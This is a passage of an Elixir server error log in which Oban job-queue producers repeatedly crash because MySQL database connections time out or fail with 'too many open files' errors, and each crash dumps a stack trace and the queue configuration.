See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:47:11.239347Z], limit: 20, uuid: "de9a6ce1-be5a-4b04-b1be-9f02cbf62e9c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:47:11.239368Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.31601>, refresh_timer: #Reference<0.2525715032.1077673987.2070>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:47:23.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 840ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:47:11.239749Z], limit: 5, uuid: "db560e7b-158d-45f7-801a-f6c9683a578b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:47:11.239755Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.31604>, refresh_timer: #Reference<0.2525715032.1068498948.29229>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:47:23.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 836ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:47:11.238797Z], limit: 10, uuid: "c3e4ad82-189a-42fd-9295-c08ea5e30e8f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:47:11.238804Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.29230>, refresh_timer: #Reference<0.2525715032.1068498948.29200>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:47:23.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1061ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:47:11.238972Z], limit: 5, uuid: "7a8cb95f-7f06-4c28-909f-10ceb3d6f1d8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:47:11.238977Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.2108>, refresh_timer: #Reference<0.2525715032.1077673987.2057>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:47:23.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1081ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:47:11.239652Z], limit: 3, uuid: "d39f595c-be21-4e84-aa07-58ed62fec363", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:47:11.239657Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.31603>, refresh_timer: #Reference<0.2525715032.1077673987.2083>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:47:23.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1053ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:47:11.239662Z], limit: 50, uuid: "7a0d4876-e467-4c4c-a766-31f82bf69af0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:47:11.239667Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.31602>, refresh_timer: #Reference<0.2525715032.1077673987.2085>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:47:25.016000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:47:28.304000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:47:32.595000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:47:35.126000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:47:35.224000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:47:35.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 899ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:47:23.238644Z], limit: 20, uuid: "17f308c4-e6fd-4c9d-ba39-f68c48f0d9c7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:47:23.238653Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.31887>, refresh_timer: #Reference<0.2525715032.1077673987.2222>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:47:35.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1011ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:47:23.240426Z], limit: 3, uuid: "425be9c0-de5a-49f4-9864-46e3912fb4b6", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:47:23.240431Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.31889>, refresh_timer: #Reference<0.2525715032.1077673987.2249>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:47:35.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 861ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:47:23.240155Z], limit: 5, uuid: "c0b3cea3-80cd-469c-a973-be109c3636d1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:47:23.240161Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.31890>, refresh_timer: #Reference<0.2525715032.1068498948.29376>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:47:35.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1012ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

